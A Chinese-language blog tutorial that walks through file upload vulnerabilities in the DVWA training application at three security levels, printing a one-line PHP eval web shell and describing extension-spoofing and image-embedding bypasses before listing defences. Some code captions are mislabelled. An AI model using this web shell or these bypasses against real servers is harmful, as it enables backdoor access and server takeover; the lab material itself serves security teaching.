当前位置:   article > 正文

Web安全系列:文件上传漏洞从入门到精通_file upload vulnerability

file upload vulnerability

一、文件上传漏洞简介

文件上传漏洞(File Upload Vulnerability)是一种常见的 Web 应用程序漏洞,通常存在于需要用户上传文件的应用程序中,如论坛、电子商务网站、博客、社交网站等。

攻击者可以通过该漏洞上传恶意文件到服务器,从而执行各种攻击操作,如执行命令、窃取敏感数据、植入后门等。

文件上传漏洞通常发生的原因多是服务器未正确验证上传文件类型、大小、路径等参数等,攻击者可以利用这些漏洞绕过服务器的限制,上传恶意文件或脚本到服务器。攻击者通过构造文件名或文件内容来绕过服务器的检查。

本文继续以DVWA(Damn Vulnerable Web Application)进行文件上传漏洞的讲解。

在DVWA中的文件上传漏洞是通过一个文件上传页面实现的。攻击者可以在该页面上选择要上传的文件,并在提交表单时将文件类型伪装为其他允许的文件类型,如.jpg、.png等。这样,服务器就会误认为上传的是图片文件,而没有对文件内容进行进一步的验证和过滤。通过这种方式,攻击者可以将恶意脚本文件上传到服务器上,并在上传成功后访问该文件来执行恶意代码。例如,攻击者可以将一个包含后门功能的PHP脚本上传到服务器上,并通过执行该脚本来获取管理员权限或窃取服务器中的敏感数据。

图1-1 网页概念图

二、文件上传Low Level漏洞原理

(1)在DVWA low security 中,可以直接上传webshell.php,对服务器进行控制,webshell.php代码如下,读者在webshell.php上传后可自行用蚁剑连接。

<?php @eval($_POST['shell']);?>

图2-1 蚁剑连接webshell

(2)这里点击View Source直接对上传源码进行分析,文件上传的php源代码如代码1-1所示。

图2-2 View Source Button组件

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // File information
  7. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  8. $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  9. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  10. // Is it an image?
  11. if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
  12. ( $uploaded_size < 100000 ) ) {
  13. // Can we move the file to the upload folder?
  14. if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
  15. // No
  16. echo '<pre>Your image was not uploaded.</pre>';
  17. }
  18. else {
  19. // Yes!
  20. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  21. }
  22. }
  23. else {
  24. // Invalid file
  25. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  26. }
  27. }
  28. ?>

代码 2-1 Low Level php源代码

阅读PHP源代码可以发现:

  • 在第5行代码中定义了文件上传的目标路径,即在DVWA的Web根目录下的hackable/uploads/目录中。

  • 在第6行代码中获取了要上传的文件名,即上传表单中的文件名。

  • 在第19-20行代码中,将上传文件移动到目标路径,如果移动失败,则输出提示信息“Your image was not uploaded.”,否则输出上传成功的提示信息。

总结来说就是:

代码并没有对上传的文件类型、大小、路径等参数进行严格的验证和过滤,这可能会导致文件上传漏洞的产生。 攻击者可以在上传表单中伪造文件类型、修改上传路径等方式来上传恶意文件到服务器上,从而执行各种攻击操作,如执行命令、窃取敏感数据、植入后门等。

三、文件上传Medium Level漏洞原理

(1)继续阅读PHP源代码可以发现:

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // File information
  7. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  8. $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  9. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  10. // Is it an image?
  11. if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
  12. ( $uploaded_size < 100000 ) ) {
  13. // Can we move the file to the upload folder?
  14. if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
  15. // No
  16. echo '<pre>Your image was not uploaded.</pre>';
  17. }
  18. else {
  19. // Yes!
  20. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  21. }
  22. }
  23. else {
  24. // Invalid file
  25. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  26. }
  27. }
  28. ?>

代码 3-1 Medium level php源代码

  • 在第9-11行代码中,获取了上传文件的一些基本信息,包括文件名、文件类型和文件大小。

  • 在第14-15行代码中,对上传文件进行了类型和大小的验证。其中,对文件类型的验证要求文件必须为JPEG或PNG格式的图片;对文件大小的验证要求文件大小必须小于100KB。

  • 在第14-29行代码中,如果上传的文件类型和大小满足要求,则将文件移动到目标路径,并输出上传成功的提示信息;如果上传的文件类型和大小不满足要求,则输出提示信息,告知用户无法上传该文件类型。

在上面分析的基础上,可以得出结论。设计一个绕过上传类型(png、jpeg)、大小的文件,上传到服务器,就可以实现木马的上传,方法如下。

(2)将webshell.php 改名为webshell.php.jpg。

(3)点击文件上传,进行抓包分析,然后将webshell.php.jpg更改为webshell.php,如此后端在取文件名字进行保存的时候,便保存为了webshell.php,达到了木马上传的效果。

图3-1 修改文件后缀名

图3-2 蚁剑连接上传的webshell

四、文件上传High Level漏洞原理

(1) 阅读PHP High level源代码可以发现:

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // File information
  7. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  8. $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
  9. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  10. $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
  11. // Is it an image?
  12. if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
  13. ( $uploaded_size < 100000 ) &&
  14. getimagesize( $uploaded_tmp ) ) {
  15. // Can we move the file to the upload folder?
  16. if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
  17. // No
  18. echo '<pre>Your image was not uploaded.</pre>';
  19. }
  20. else {
  21. // Yes!
  22. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  23. }
  24. }
  25. else {
  26. // Invalid file
  27. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  28. }
  29. }
  30. ?>

代码 3-1 Medium level php源代码

阅读源代码可以发现:

  • 在第10-13行代码中,获取了上传文件的一些基本信息,包括文件名、文件扩展名、文件大小和文件临时路径。

  • 在第16-18行代码中,对上传文件进行了类型、大小和内容的验证。其中,对文件类型的验证要求文件必须为JPEG或PNG格式的图片;对文件大小的验证要求文件大小必须小于100KB;对文件内容的验证要求文件内容必须是合法的图片格式。这些验证措施可以有效防止上传恶意文件或脚本文件到服务器上。

  • 在第21-27行代码中,如果上传的文件类型、大小和内容都满足要求,则将文件移动到目标路径,并输出上传成功的提示信息;如果上传的文件类型、大小和内容不满足要求,则输出提示信息,告知用户无法上传该文件类型。

总体来说,通过这段代码的改进,可以有效防止文件上传漏洞的发生,从而保护服务器的安全性。但是,需要注意的是,这段代码仍然存在一些问题,例如上传文件的路径没有进行安全验证,可能会导致目录穿越漏洞的发生。

(2)绕过High level文件长传限制方法如下:

  • 准备一个正常的 JPG 图片,例如 cat.png。

图4-1 cat.png图片

  • 创建一个 PHP Web Shell 文件,例如 webshell.php,内容如下:

<?php @eval($_POST['shell']);?>
  • 使用010editor编辑器打开 cat.png,将上述 PHP 代码复制到文件末尾,并保存文件。

图4-2 cat.jpg加上webshell木马

(3)将 cat.png 重命名 webshell.png,上传此文件到目标 Web 服务器。此时上传的 webshell.png文件无法直接在 URL 上执行,因为它以 png 扩展名上传。

(4)将此文件重命名为 PHP 文件,这个时候需要利用DVWA漏洞命令注入选项,利用漏洞复制webshell.png 并将其重命名为 webshell.php 文件(DVWA漏洞命令注入可以阅读我写的命令注入篇章)。

(5)用蚁剑连接

图4-3 蚁剑连接上传的webshell

五、文件上传安全防护方法

文件上传漏洞可能会导致恶意文件被上传到服务器上,攻击者可以通过这些文件来执行攻击,例如控制服务器或窃取敏感数据。因此,对于任何需要处理文件上传的应用程序来说,实施文件上传安全措施至关重要。下面介绍几种防御措施以避免文件上传漏洞。

  1. 文件类型和大小限制:应该对文件的类型和大小进行限制,以防止上传恶意文件和过大的文件,从而防止应用程序遭受拒绝服务攻击。

  1. 检测上传文件的内容:可以检测上传文件的内容,以防止上传恶意代码。可以使用一些工具来扫描上传的文件,以确保它们不包含恶意代码。

  1. 限制上传文件的目录和文件名:可以限制上传文件的目录和文件名,以防止攻击者上传恶意文件,并且防止目录遍历攻击。

  1. 实现访问控制:可以实现访问控制,以限制哪些用户有权上传文件。可以强制实施强密码策略,例如要求用户使用复杂密码,并定期更改密码等。

  1. 使用加密协议:使用SSL/TLS协议可以加密数据传输,确保上传的数据不会被截取或窃取。建议使用HTTPS来保护数据在传输过程中的安全。

  1. 实现文件上传白名单:实施文件上传白名单可以限制上传文件的来源,只允许从信任的来源上传文件。

  1. 防火墙和安全软件:使用防火墙和安全软件,可以检测并防止未经授权的访问和攻击,保护服务器免受恶意软件和网络攻击。

图5-1 文件上传安全防护

六、附录

环境及工具配置

(1)文章中所使用的工具是DVWA源代码和WNMP环境,其中DVWA是一个专门用于漏洞测试的Web应用程序。

(2)为了测试DVWA中的登录安全认证漏洞,需要执行以下步骤:

  • 安装WNMP环境并启动服务器。

  • 下载和安装DVWA,将其部署到WNMP服务器上。

  • 启动DVWA应用程序,通过Web浏览器访问DVWA网站。

  • 在DVWA中寻找和测试文件上传安全漏洞。

Web安全初学者如果自行搭建本文的测试环境及编写代码存在困难,也可以通过以下github获取相关源码及测试环境。

本文所测试用到的相关源码及测试环境:

Web-PenTest/README.md at main · MasterTaiBai/Web-PenTest · GitHub

成为一名合格的Web安全专业人员需要长时间的学习和实践。只有通过持续的努力,掌握Web安全知识和技能,才能真正成为一个专业的白帽子。

在此祝愿安全爱好者及从业人员都能够取得成功,实现自己的梦想,为网络安全贡献自己的力量!

图6-1 安全黑客

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/139238
推荐阅读
相关标签
  

闽ICP备14008679号